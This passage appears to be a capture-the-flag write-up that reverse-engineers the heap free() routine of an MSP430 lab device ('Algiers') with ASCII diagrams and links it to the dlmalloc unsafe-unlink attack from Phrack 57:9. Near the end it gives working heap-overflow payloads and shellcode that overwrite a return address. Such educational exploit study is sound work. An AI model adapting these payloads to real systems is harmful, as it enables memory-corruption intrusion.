│ │ ┌────────────────────────────────────────────────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408¹ │ 2408 │ 1f9c² │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴─────┬──┴──────────────────────────┘
│ │ │
│ │ ▼
└──────────────────┘ ┌───┐ ┌─────────┐ ┌────────────────┐
│R12├─►│CHECK LSB├─►│CONDITIONAL JUMP│
└───┘ └─────────┘ └────────────────┘
┌────────────┐ ┌────┬───────────────────────┐
│*(&PTR + 2)¹│ │453e│ mov 0x2(r15), r14 │
└────────────┘ ├────┼───────────────────────┤
│4542│ mov 0x4(r14), r13 │
┌───────────────────┐ ├────┼───────────────────────┤
│*(*(&PTR + 2) + 4)²│ │4546│ bit #0x1, r13 │
└───────────────────┘ ├────┼───────────────────────┤ ┌──┐
│4548│ jnz $+0x18 <free+0x58>│◄─┤PC│
└────┴───────────────────────┘ └──┘
The value at the first word of the last block is **(&PTR + 2), and the value at the third word is *(*(&PTR + 2) + 4).
The rest of the algorithm executes as follows.
┌───┐
┌──────┐ │R15│
│ │ └─┬─┘
│ ┌──┐ │ │
│ │ ▼ ▼ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 2434 │ 0046 │ aaaa 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │ ┌────►┌────┬───┐
│ │ │ │ │1f9c│R13│
│ │ ┌───────────┘ │ ┌►└────┴───┘
│ │ ▼ │ │SET EARLIER
│ │ ┌────────┬────────┬─┴───┴──┬──────────────────────────┐
│ └─┤ 2408 │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
│ │ ┌────┬───────────────────────┐ ┌──┐
└──────────────────┘ │454a│ add 0x4(r15), r13 │◄─┤PC│
├────┼───────────────────────┤ └──┘
│454e│ add #0x6, r13 │
├────┼───────────────────────┤
│4552│ mov r13, 0x4(r15) │
├────┼───────────────────────┤
│4556│ mov 0x2(r14), 0x2(r15)│
├────┼───────────────────────┤
│455c│ mov r15, 0x0(r14) │
├────┼───────────────────────┤
│....│ ..................... │
└────┴───────────────────────┘
The initial state is above. The value in R13 is the next block's third word.
┌───┬────┐ ┌────┐
┌──────┐ │R13│1f9c│ + │0046│
│ │ └───┴────┘ └────┘
│ ┌──┐ │ ▲ ▲
│ │ ▼ ▼ │ │
│ │ ┌────────┬────────┬─┴────┴─┬──────────────────────────┐
│ └─┤ 2408 │ 2434 │ 0046 │ aaaa 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
│ │ ┌────┬───────────────────────┐
└──────────────────┘ │454a│ add 0x4(r15), r13 │
├────┼───────────────────────┤ ┌──┐
│454e│ add #0x6, r13 │◄─┤PC│
├────┼───────────────────────┤ └──┘
│4552│ mov r13, 0x4(r15) │
├────┼───────────────────────┤
│4556│ mov 0x2(r14), 0x2(r15)│
├────┼───────────────────────┤
│455c│ mov r15, 0x0(r14) │
├────┼───────────────────────┤
│....│ ..................... │
└────┴───────────────────────┘
The algorithm adds the third word of the current block to R13.
┌───┬────┐ ┌────┐
┌──────┐ │R13│1fe2│ + │0006│
│ │ └───┴────┘ └────┘
│ ┌──┐ │
│ │ ▼ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 2434 │ 0046 │ aaaa 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
│ │ ┌────┬───────────────────────┐
└──────────────────┘ │454a│ add 0x4(r15), r13 │
├────┼───────────────────────┤
│454e│ add #0x6, r13 │
├────┼───────────────────────┤ ┌──┐
│4552│ mov r13, 0x4(r15) │◄─┤PC│
├────┼───────────────────────┤ └──┘
│4556│ mov 0x2(r14), 0x2(r15)│
├────┼───────────────────────┤
│455c│ mov r15, 0x0(r14) │
├────┼───────────────────────┤
│....│ ..................... │
└────┴───────────────────────┘
It adds six more to the new R13 value.
┌───┬────┐
┌──────┐ │R13│1fe8│
│ │ └───┼────┤
│ ┌──┐ │ │ │
│ │ ▼ ▼ ▼ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 2434 │ 1fe8 │ aaaa 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
│ │ ┌────┬───────────────────────┐
└──────────────────┘ │454a│ add 0x4(r15), r13 │
├────┼───────────────────────┤
│454e│ add #0x6, r13 │
├────┼───────────────────────┤
│4552│ mov r13, 0x4(r15) │
├────┼───────────────────────┤ ┌──┐
│4556│ mov 0x2(r14), 0x2(r15)│◄─┤PC│
├────┼───────────────────────┤ └──┘
│455c│ mov r15, 0x0(r14) │
├────┼───────────────────────┤
│....│ ..................... │
└────┴───────────────────────┘
It then writes the value back to the third word of the current block.
┌──────┐
│ │
│ ┌──┐ │ ┌────────┐
│ │ ▼ ▼ ▼ │
│ │ ┌────────┬─────┴──┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 2408 │ 1fe8 │ aaaa 0000 0000 0000 .... │
│ └────────┴────────┴────────┴──────────────────────────┘
│ ▲ ▲ ▲
│ ┌────┘ │ │
│ │ │ │
│ │ │ │
│ │ │ │
│ │ ┌────────┬─┴────┴─┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
│ │ ┌────┬───────────────────────┐
└──────────────────┘ │454a│ add 0x4(r15), r13 │
├────┼───────────────────────┤
│454e│ add #0x6, r13 │
├────┼───────────────────────┤
│4552│ mov r13, 0x4(r15) │
├────┼───────────────────────┤
│4556│ mov 0x2(r14), 0x2(r15)│
├────┼───────────────────────┤ ┌──┐
│455c│ mov r15, 0x0(r14) │◄─┤PC│
├────┼───────────────────────┤ └──┘
│....│ ..................... │
└────┴───────────────────────┘
Next, the second word of the next block is copied over the second word of the current block, updating the pointer.
┌──────┐
│ │
│ ┌──┐ │ ┌────────┐
│ │ ▼ ▼ ▼ │
│ │ ┌────────┬─────┴──┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 2408 │ 1fe8 │ aaaa 0000 0000 0000 .... │
│ └─────┬─┬┴────────┴────────┴──────────────────────────┘
│ ▲ │ │
│ ┌────┘ │ │
│ │ │ │
│ │ │ │
│ │ ▼ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
│ │ ┌────┬───────────────────────┐
└──────────────────┘ │454a│ add 0x4(r15), r13 │
├────┼───────────────────────┤
│454e│ add #0x6, r13 │
├────┼───────────────────────┤
│4552│ mov r13, 0x4(r15) │
├────┼───────────────────────┤
│4556│ mov 0x2(r14), 0x2(r15)│
├────┼───────────────────────┤
│455c│ mov r15, 0x0(r14) │
├────┼───────────────────────┤ ┌──┐
│....│ ..................... │◄─┤PC│
└────┴───────────────────────┘ └──┘
Last, it copies the first word of the current block over the first word of the next block.
┌──────┐
│ │
│ ┌──┐ │ ┌────────┐
│ │ ▼ ▼ ▼ │
│ │ ┌────────┬─────┴──┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 2408 │ 1fe8 │ aaaa 0000 0000 0000 .... │
│ └────────┴────────┴────────┴──────────────────────────┘
│ ▲
│ ┌────┘
│ │
│ │
│ │
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
│ │
└──────────────────┘
The above diagram depicts the resulting data structure.
┌──┐ ┌────────┐
│ ▼ ▼ │
│ ┌────────┬─────┴──┬────────┬──────────────────────────┐
└─┤ 2408 │ 2408 │ 1fe8 │ aaaa 0000 0000 0000 .... │
└────────┴────────┴────────┴──────────────────────────┘
It is worth noting, again, that the second block does not exist from the perspective of the pointers in the first block.
Reverse Engineering
With the above visual aid, it is now possible to conjecture about the purpose of the various elements in the data structure.
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└────┬───┴────────┴────────┴──────┘
│
┌──────┐ │
│ │ │
│ ┌──┐ │ │
│ │ ▼ ▼ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 241e │ 0021 │ aaaa 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 2434 │ 0021 │ bbbb 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
└──────────────────┘
The first two words of any given block are pointers. The overall data structure is a double-linked list (excepting the top block).
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└────┬───┴────────┴────────┴──────┘
│
┌──────┐ │
│ │ │
│ ┌──┐ │ │
│ │ ▼ ▼ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 241e │ 0021 │ aaaa 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 2434 │ 0021 │ bbbb 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
└──────────────────┘
The top block is likely some variety of header. The first word points to the beginning of the list. It is unclear what the second one does. Next, there is user data.
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└────┬───┴────────┴────────┴──────┘
│
┌──────┐ │
│ │ │
│ ┌──┐ │ │
│ │ ▼ ▼ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 241e │ 0021 │ aaaa 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 2434 │ 0021 │ bbbb 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
└──────────────────┘
Although not depicted here for conciseness, these buffers are sixteen bytes long. Last, there is the third word.
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└────┬───┴────────┴────────┴──────┘
│
┌──────┐ │
│ │ │
│ ┌──┐ │ │
│ │ ▼ ▼ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 241e │ 0021 │ aaaa 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 2434 │ 0021 │ bbbb 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
└──────────────────┘
These words, modified repeatedly by the algorithm, are the most enigmatic part of the data structure. The least significant bit of each must be a boolean because it determines the outcome of both conditional statements in the free function.
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└────┬───┴────────┴────────┴──────┘
│
┌──────┐ │
│ │ │
│ ┌──┐ │ │
│ │ ▼ ▼ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 241e │ 0021 │ aaaa 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 2434 │ 0021 │ bbbb 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
└──────────────────┘
This boolean is unset via a bitwise AND operation, suggesting that the rest of the word might be a series of flags that alter the algorithm's behavior. However, this assumption is unlikely to be true in practice, as none of the other bits in the word seem to be referenced by the code.
The other possibility is that this word is a size of some kind. The fact that the code adds the third word for the current and neighboring blocks together supports this hypothesis. It also adds six to this field in the conditional blocks at addresses 0x4524 and 0x454a, the same length as the three-word header for every node in the linked list.
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└────┬───┴────────┴────────┴──────┘
│
┌──────┐ │
│ │ │
│ ┌──┐ │ │
│ │ ▼ ▼ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 241e │ 0021 │ aaaa 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 2434 │ 0021 │ bbbb 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
└──────────────────┘
This theory is not entirely sensible because any given block is 22 bytes long (six bytes for the header and sixteen bytes for the data buffer). This value is 0x16 in hex, but the value in the third word is 0x20 (sans boolean bit).
This field could also be both a size and a series of flags.
Revisiting Phrack 57:9
Take a step back for a moment and consider the surrounding context. While treating the algorithm as alien is acceptable as a pedagogical tool, this is not the most efficient approach. This system has debug symbols, so performing an internet search with the function names as keywords will answer a question hitherto unaddressed: what do malloc and free do?
What Is The Heap?
It is often necessary to allocate space for quantities of data that are not known at compile time (e.g., user input). The stack generally cannot store this data because the space available for stack variables is defined at compile time, i.e., before the code reads user input.
Two approaches might potentially compensate for this.
- Use massive stack variables to store data that is potentially very large but usually is not. This approach is inefficient in the extreme from a memory usage standpoint.
- Designate some other area in memory where dynamically sized data is stored and refer to the data via pointers.
The second area is called the heap. Envision it as a pile of whatever large or unpredictably sized data will not fit into the stack. Fundamentally, the heap is just a chunk of RAM used to store chunks of data. Sections are designated to hold new data as necessary, and sections holding disused data are emptied and freed up. The process of slicing and dicing this memory is called dynamic memory management.
Dynamic Memory Management Functions
Two primary functions keep track of the data stored on the heap.
- Malloc. The process of carving out sections or "chunks" to hold new data is called allocation. The malloc function ("memory allocator") is responsible for this task. It sections off a heap buffer of the requested length and returns a pointer to it, allowing other functions to use that memory for storing data.
- Free. When some parent function finishes with the data in a heap chunk, it passes the pointer to the free function, which clears out the data so the chunk can store something else. For performance reasons, it is often preferable to postpone clearing the data until later. It is more efficient to set a flag indicating that the chunk is free and that it is safe to overwrite the data.
The algorithm described above is a simple implementation of a free function that most closely resembles the GLIBC Doug Lea malloc implementation circa 2001—one of the two implementations described by Phrack 57:9.
Terminology
The sections of memory that have been referred to as "blocks" up to this point are also called "chunks". The original dlmalloc implementation had the following structure for a freed chunk.
+----------------------------------+
chunk -> | prev_size |
+----------------------------------+
| size |
+----------------------------------+
mem -> | fd |
+----------------------------------+
| bk |
+----------------------------------+
| (old memory, can be zero bytes) |
: :
nextchunk -> | prev_size ... |
: :
[T]wo values, called 'fd' and 'bk'—forward and backward, that is, are pointers. They point into a double linked list of unconsolidated blocks of free memory. Every time a new free is issued, the list will be checked, and possibly unconsolidated blocks are merged.
— Phrack 57:9
Based on this, the Algiers implementation probably has the following structure.
┌────────┬────────┬────────┬──────────────────────────┐
│BACK │FORWARD │ SIZE │ DATA │
│POINTER │POINTER │ │ │
└────────┴────────┴────────┴──────────────────────────┘
┌──────┐
│ │
│ ┌──┐ │
│ │ ▼ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 241e │ 0021 │ aaaa 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 2434 │ 0021 │ bbbb 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
└──────────────────┘
The first two words form a series of pointers resembling fd and bk, and the data buffer is distinctly visible. By process of elimination, the third word must be the size field.
The 'size' field has a special meaning. As you would expect, it contains the length of the current block of memory, the data section. As you call malloc(), four is added to the size you pass to it and afterwards the size is padded up to the next double-word boundary. So a malloc(7) will become a malloc(16), and a malloc(20) will become malloc(32). For malloc(0) it will be padded to malloc(8). [...] Since this padding implies that the lower three bits are always zero and are not used for real length, they are used another way. They are used to indicate special attributes of the chunk. The lowest bit, called PREV_INUSE, indicates whether the previous chunk is used or not. [...] To test whether the current chunk is in use or not, we have to check the next chunk's PREV_INUSE bit within its size value.
— Phrack 57:9
Logically, the least significant bit of the size is likely an "in-use bit". In this case, it is unclear how the size padding works during allocation, but that is not immediately relevant. On the Algiers implementation, this bit tracks whether the current chunk is in use (rather than the previous one).
The Wilderness
The chunk at the bottom is called the "wilderness chunk," a large block of free memory that malloc allocates from when all else fails. This purpose is evident from the massive size field without the in-use bit set.
┌────────┬────────┬────────┬──────────────────────────┐
│BACK │FORWARD │ SIZE │ DATA │
│POINTER │POINTER │ │ │
└────────┴────────┴────────┴──────────────────────────┘
┌──────┐
│ │
│ ┌──┐ │
│ │ ▼ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 241e │ 0021 │ aaaa 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 2434 │ 0021 │ bbbb 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
└──────────────────┘
The double-linked list structure is necessary because the algorithm traverses it when searching for free chunks large enough to hold the requested buffer size. If the search for a sufficiently large free chunk fails, malloc will carve one off from the wilderness. This functionality works the same on both the Algiers implementation and GLIBC.
Exploitation
There are other crucial differences between the two implementations. In Algiers, the fd and bk pointers are always present (whereas GLIBC requires the overflowed chunk to be unallocated for the exploit to work). The pointers are before the size, and there is no prev_size field on the Algiers implementation. These superficial differences aside, the technique is very similar.
In essence, the exploit abuses chunk consolidation logic. The algorithm merges adjacent free chunks to fit larger allocations inside, which requires adding the size fields together and updating the pointers for the previous and next chunks in memory so they point to the beginning of the consolidated chunk.
Consider a case where the first two chunks merge into one larger one.
┌────────┬────────┬────────┬──────────────────────────┐
│BACK │FORWARD │ SIZE │ DATA │
│POINTER │POINTER │ │ │
└────────┴────────┴────────┴──────────────────────────┘
┌──────┐
│ │
│ ┌──┐ │
│ │ ▼ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 241e │ 0021 │ aaaa 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 2434 │ 0021 │ bbbb 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
│ │
└──────────────────┘
┌────────┬────────┬────────┬──────────────────────────┐
│BACK │FORWARD │ SIZE │ DATA │
│POINTER │POINTER │ │ │
└────────┴────────┴────────┴──────────────────────────┘
┌──────┐
│ │
│ ┌──┐ │ ┌────────────────────────────────────────┐
│ │ ▼ ▼ │ │
│ │ ┌────────┬─────┴──┬────────┬──────────────────────────┐ │
│ └─┤ 2408 │ 2434 │ 0046 │ aaaa 0000 0000 0000 .... │ │
│ └────────┴────────┴────────┴──────────────────────────┘ │
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ │
│ │ │
│ │ ┌────────┬────────┬────────┬──────────────────────────┐ │
│ └─┤ 2408 │ 2434 │ 0020 │ bbbb 0000 0000 0000 .... │ │
│ └────────┴─────┬──┴────────┴──────────────────────────┘ │
│ │ │
│ ▼ │
│ │ │
│ ┌───────────┴────────────────────────────────────────┘
│ ▼
│ ┌────────┬────────┬────────┬──────────────────────────┐
├─◄─┤ 2408 │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
│ │
└─◄────────────────┘
┌────────┬────────┬────────┬──────────────────────────┐
│BACK │FORWARD │ SIZE │ DATA │
│POINTER │POINTER │ │ │
└────────┴────────┴────────┴──────────────────────────┘
┌──────┐
│ │
│ ┌──┐ │ ┌────────────────────────────────────────┐
│ │ ▼ ▼ │ │
│ │ ┌────────┬─────┴──┬────────┬──────────────────────────┐ │
│ └─┤ 2408 │ 2434 │ 0046 │ aaaa 0000 0000 0000 .... │ │
│ └────────┴────────┴────────┴──────────────────────────┘ │
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌────────────────────────────────────────────────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
│ │
└──────────────────┘
In reality, there is also a second merge because the bottom chunk is also free. The diagram depicts only the first merge for brevity.
If the exploit aims the fd and bk pointers at random memory regions, the implementation will treat those memory regions as chunks and check what it assumes is the in-use bit. If this value happens to be even in either case, it will attempt to merge with one or both of those presumed chunks. After the merge, this will update the fd pointer for what it assumes is the previous chunk and the bk pointer for what it assumes is the next chunk.
┌────────┬────────┬────────┬──────────────────────────┐
│BACK │FORWARD │ SIZE │ DATA │
│POINTER │POINTER │ │ │
└────────┴────────┴────────┴──────────────────────────┘
┌────────┬────────┬────────┬──────────────────────────┐
│ cccc │ eeee │ 0021 │ bbbb 0000 0000 0000 .... │
└─────┬──┴─────┬──┴────────┴──────────────────────────┘
▲ │ │
┌────┘ │ │
│ │ └─────────────────────────────────────────────┐
│ │ │
│ └───────────────────────────────────────────────────┐ │
│ │ │
│ ┌────────┬────────┬────────┬──────────────────────────┐ │ │
└─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │ │ │
└────────┴────────┴────────┴──────────────────────────┘ │ │
│ │
│ │
│ │
┌───────────────────────────────────────────┘ │
│ │
│ │
│ │
│ │
▼ │
┌────────┬────────┬────────┬────────┬────────┐ │
│DATA │ 0000 │ eeee │ 002c │ .... │ │
├────────┼────────┼────────┼────────┼────────┤ │
│ADDRESS │ 0xcccc │ 0xccce │ 0xccd0 │ .... │ │
└────────┴────────┴────────┴────────┴────────┘ │
│
┌──────────────────────────────────────────────┘
▼
┌────────┬────────┬────────┬────────┬────────┐
│DATA │ cccc │ 0000 │ 0000 │ .... │
├────────┼────────┼────────┼────────┼────────┤
│ADDRESS │ 0xeeee │ 0xeef0 │ 0xeef2 │ .... │
└────────┴────────┴────────┴────────┴────────┘
The attempted merge forward is what the arbitrary write primitive abuses. It will merge with arbitrary data, writing the back pointer to what it assumes is a chunk header.
Recapitulation
Now that terminology has been established, it is time to return to the techniques.
Technique #1: Arbitrary Write Via Consecutive Heap Overflows
The below payload is the initial working exploit, which uses two different buffer overflows to corrupt a return address.
Username
aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa 9243 3424 2100Password
bbbb bbbb bbbb bbbb bbbb bbbb bbbb bbbb 1e24 6445 9c1fThis technique requires corrupting fd and bk for the next chunk—before the implementation frees it—and the same pointers for the chunk right after it in memory.
┌────────┬────────┬────────┬──────────────────────────┐
┌─┤ 4392 │ .... │ .... │ .... .... .... .... .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
│ │
│ │
│ ┌───────────┘
│ │
│ │
│ ▼
│ ┌────────┬────────┬────────┬──────────────────────────┐
│ │ .... │ 4564 │ .... │ .... .... .... .... .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │WRITE
│ └─────┐
│ │
│ │
│ │
│ │
└─────────────┐ │
│ │
│ │
POINTER▼ ▼
┌────────┬────────┬────────┬────────┐
│DATA │ .... │ 46a8 │ .... │
├────────┼────────┼────────┼────────┤
│ADDRESS │ 0x4392 │ 0x4394 │ .... │
└────────┴────────┴────────┴────────┘
Technique #2: Doug Lea Malloc Unsafe Unlink Exploit
This technique only requires a six-byte overflow on the Algiers heap implementation.
Username
023c aaaa aaaa 3240 00ff b012 1000 aaaa 0e24 9443 2100Password
ffffThis payload overwrites the return address for the current stack frame with a pointer to the shellcode at address 0x240e.
┌────────┬────────┬────────┬──────────────────────────┐
┌─┤ 240e │ 4394 │ .... │ .... .... .... .... .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │POINTER
│ └───────┐
│ │
│ │
│ │
│ │
└──────────────────────┐ │
│ │
│ │
WRITE▼ ▼
┌────────┬────────┬────────┬────────┐
│DATA │ .... │ 46a8 │ .... │
├────────┼────────┼────────┼────────┤
│ADDRESS │ 0x4392 │ 0x4394 │ .... │
└────────┴────────┴────────┴────────┘
This exploit requires some shellcode to work, depicted below.
┌───────────────────┬─────────────────────┐
┌─┤ JMP $+0x6 │ 023c │
│ ├───────────────────┼─────────────────────┤
│ │[OVERWRITTEN WORDS]│ aaaa aaaa │
│ ├───────────────────┼─────────────────────┤
│ │ │ │
└►│ SHELLCODE │ 3240 00ff b012 1000 │
│ │ │
├───────────────────┼─────────────────────┤
│ PADDING │ aaaa │
├───────────────────┼─────────────────────┤
│ │ │
│ METADATA │ 0e24 9443 2100 │
│ │ │
└───────────────────┴─────────────────────┘
Minor implementation differences aside, this is the equivalent of the original dlmalloc unlink exploit described in Phrack 57:9.
Beyond Phrack
The process described up to this point is how to discover a twenty-five-year-old heap exploitation technique without understanding the purpose of a heap. This approach is pedagogically worthwhile, but some might argue that acquiring a superficial understanding via video tutorials is faster.
